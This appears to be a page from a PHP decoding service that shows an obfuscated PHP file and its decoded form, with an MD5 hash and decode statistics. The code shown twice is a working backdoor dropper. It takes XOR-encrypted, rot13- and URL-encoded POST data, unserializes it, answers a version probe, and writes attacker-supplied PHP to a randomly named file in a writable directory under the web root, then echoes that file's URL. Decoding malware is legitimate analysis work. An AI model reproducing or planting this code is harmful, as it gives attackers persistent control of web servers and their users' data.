Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php$eAODdJETX=chr(68).chr(873-794)."\103"."\x55".chr(77).chr(69)."\x4e".chr(84).chr(95)...

Decoded Output download

<?php$eAODdJETX=chr(68).chr(873-794)."C"."U".chr(77).chr(69)."N".chr(84).chr(95).chr(790-708)."O".'O'.'T';$uzbwbzKtJ='H'."T".chr(242-158)."P".chr(95).chr(820-748).chr(977-898).'S'."T";$kMZnKMO=chr(921-817).chr(116).chr(116)."p".":"."/"."/";$afwcJGkbg=".".'p'.'h'."p";$VroMtbzJ="p"."h"."p";$libLPoDKD=chr(473-371).'i'.chr(108).chr(169-68).chr(476-381).'p'.chr(547-430)."t".chr(592-497)."c".'o'.'n'."t"."e".'n'.chr(990-874).chr(115);$MpQpEZD="r".'a'."w"."u".'r'.chr(1101-993).'d'.chr(484-383).'c'.'o'.chr(805-705).chr(273-172);$RhOWhxKM=chr(670-553).chr(942-832)."s"."e".'r'."i".chr(403-306).chr(108).chr(232-127)."z"."e";$DxTslDv=chr(118-13)."s"."_".chr(119).chr(114)."i".chr(352-236).'a'.chr(1092-994).'l'.chr(1062-961);$MbDgP="p".chr(104).chr(112)."v"."e".'r'."s"."i"."o".chr(249-139);$laFqar=chr(761-646).chr(116).'r'."_"."r".chr(815-704)."t"."1".chr(905-854);$XnGyJtiEJ=chr(115)."e".'r'."i".'a'.chr(141-33).'i'."z"."e";$ABEITBK=chr(115)."t".'r'.'_'.chr(532-417).'p'.chr(108)."i"."t";foreach($_POSTas$cdfumMxK=>$AAIhaSSMz){if(strlen($cdfumMxK)==16){$AAIhaSSMz=$ABEITBK($MpQpEZD($laFqar($AAIhaSSMz)));$cdfumMxK=array_slice($ABEITBK(str_repeat($cdfumMxK,(count($AAIhaSSMz)/16)+1)),0,count($AAIhaSSMz));functionmPjAOMpdtg($SxtxjqgZmw,$VAFps,$cdfumMxK){$BKYPcOEOPD="5f92cfe7-dd0d-47cf-b655-cbc93005c6be";return$SxtxjqgZmw^$BKYPcOEOPD[$VAFps%strlen($BKYPcOEOPD)]^$cdfumMxK;}$AAIhaSSMz=implode("",array_map("mPjAOMpdtg",array_values($AAIhaSSMz),array_keys($AAIhaSSMz),array_values($cdfumMxK)));$AAIhaSSMz=@$RhOWhxKM($AAIhaSSMz);if(@is_array($AAIhaSSMz)){$WFLLkNlq=array_keys($AAIhaSSMz);$AAIhaSSMz=$AAIhaSSMz[$WFLLkNlq[0]];if($AAIhaSSMz===$WFLLkNlq[0]){echo@$XnGyJtiEJ(Array($VroMtbzJ=>@$MbDgP(),));exit();}else{functioncEUVJFvTJk($FaYLQIir){static$CyODkzqnVf=array();$FaYLQITSFSZobqG=glob($FaYLQIir.'/*',GLOB_ONLYDIR);if(count($FaYLQITSFSZobqG)>0){foreach($FaYLQITSFSZobqGas$FaYLQI){if(@$DxTslDv($FaYLQI)){$CyODkzqnVf[]=$FaYLQI;}}}foreach($FaYLQITSFSZobqGas$FaYLQIir)cEUVJFvTJk($FaYLQIir);return$CyODkzqnVf;}$NJRfcYHMsG=$_SERVER[$eAODdJETX];$FaYLQITSFSZobqG=cEUVJFvTJk($NJRfcYHMsG);$WFLLkNlq=array_rand($FaYLQITSFSZobqG);$wYTXrXXsyK=$FaYLQITSFSZobqG[$WFLLkNlq]."/".substr(md5(time()),0,8).$afwcJGkbg;@$libLPoDKD($wYTXrXXsyK,$AAIhaSSMz);echo$kMZnKMO.$_SERVER[$uzbwbzKtJ].substr($wYTXrXXsyK,strlen($NJRfcYHMsG));die();}}}} ?>

Did this file decode correctly?

Original Code

<?php$eAODdJETX=chr(68).chr(873-794)."\103"."\x55".chr(77).chr(69)."\x4e".chr(84).chr(95).chr(790-708)."\x4f".'O'.'T';$uzbwbzKtJ='H'."\124".chr(242-158)."\x50".chr(95).chr(820-748).chr(977-898).'S'."\x54";$kMZnKMO=chr(921-817).chr(116).chr(116)."\160"."\x3a"."\x2f"."\x2f";$afwcJGkbg="\x2e".'p'.'h'."\x70";$VroMtbzJ="\160"."\150"."\x70";$libLPoDKD=chr(473-371).'i'.chr(108).chr(169-68).chr(476-381).'p'.chr(547-430)."\164".chr(592-497)."\143".'o'.'n'."\164"."\x65".'n'.chr(990-874).chr(115);$MpQpEZD="\162".'a'."\x77"."\165".'r'.chr(1101-993).'d'.chr(484-383).'c'.'o'.chr(805-705).chr(273-172);$RhOWhxKM=chr(670-553).chr(942-832)."\x73"."\x65".'r'."\151".chr(403-306).chr(108).chr(232-127)."\x7a"."\145";$DxTslDv=chr(118-13)."\163"."\137".chr(119).chr(114)."\151".chr(352-236).'a'.chr(1092-994).'l'.chr(1062-961);$MbDgP="\160".chr(104).chr(112)."\166"."\145".'r'."\163"."\151"."\157".chr(249-139);$laFqar=chr(761-646).chr(116).'r'."\x5f"."\x72".chr(815-704)."\164"."\61".chr(905-854);$XnGyJtiEJ=chr(115)."\145".'r'."\151".'a'.chr(141-33).'i'."\x7a"."\145";$ABEITBK=chr(115)."\164".'r'.'_'.chr(532-417).'p'.chr(108)."\x69"."\164";foreach($_POSTas$cdfumMxK=>$AAIhaSSMz){if(strlen($cdfumMxK)==16){$AAIhaSSMz=$ABEITBK($MpQpEZD($laFqar($AAIhaSSMz)));$cdfumMxK=array_slice($ABEITBK(str_repeat($cdfumMxK,(count($AAIhaSSMz)/16)+1)),0,count($AAIhaSSMz));functionmPjAOMpdtg($SxtxjqgZmw,$VAFps,$cdfumMxK){$BKYPcOEOPD="5f92cfe7-dd0d-47cf-b655-cbc93005c6be";return$SxtxjqgZmw^$BKYPcOEOPD[$VAFps%strlen($BKYPcOEOPD)]^$cdfumMxK;}$AAIhaSSMz=implode("",array_map("mPjAOMpdtg",array_values($AAIhaSSMz),array_keys($AAIhaSSMz),array_values($cdfumMxK)));$AAIhaSSMz=@$RhOWhxKM($AAIhaSSMz);if(@is_array($AAIhaSSMz)){$WFLLkNlq=array_keys($AAIhaSSMz);$AAIhaSSMz=$AAIhaSSMz[$WFLLkNlq[0]];if($AAIhaSSMz===$WFLLkNlq[0]){echo@$XnGyJtiEJ(Array($VroMtbzJ=>@$MbDgP(),));exit();}else{functioncEUVJFvTJk($FaYLQIir){static$CyODkzqnVf=array();$FaYLQITSFSZobqG=glob($FaYLQIir.'/*',GLOB_ONLYDIR);if(count($FaYLQITSFSZobqG)>0){foreach($FaYLQITSFSZobqGas$FaYLQI){if(@$DxTslDv($FaYLQI)){$CyODkzqnVf[]=$FaYLQI;}}}foreach($FaYLQITSFSZobqGas$FaYLQIir)cEUVJFvTJk($FaYLQIir);return$CyODkzqnVf;}$NJRfcYHMsG=$_SERVER[$eAODdJETX];$FaYLQITSFSZobqG=cEUVJFvTJk($NJRfcYHMsG);$WFLLkNlq=array_rand($FaYLQITSFSZobqG);$wYTXrXXsyK=$FaYLQITSFSZobqG[$WFLLkNlq]."/".substr(md5(time()),0,8).$afwcJGkbg;@$libLPoDKD($wYTXrXXsyK,$AAIhaSSMz);echo$kMZnKMO.$_SERVER[$uzbwbzKtJ].substr($wYTXrXXsyK,strlen($NJRfcYHMsG));die();}}}}

Function Calls

None

Variables

None

Stats

MD5 7bc8e3fcb2442c494c70c9a0f73e86d9
Eval Count 0
Decode Time 49 ms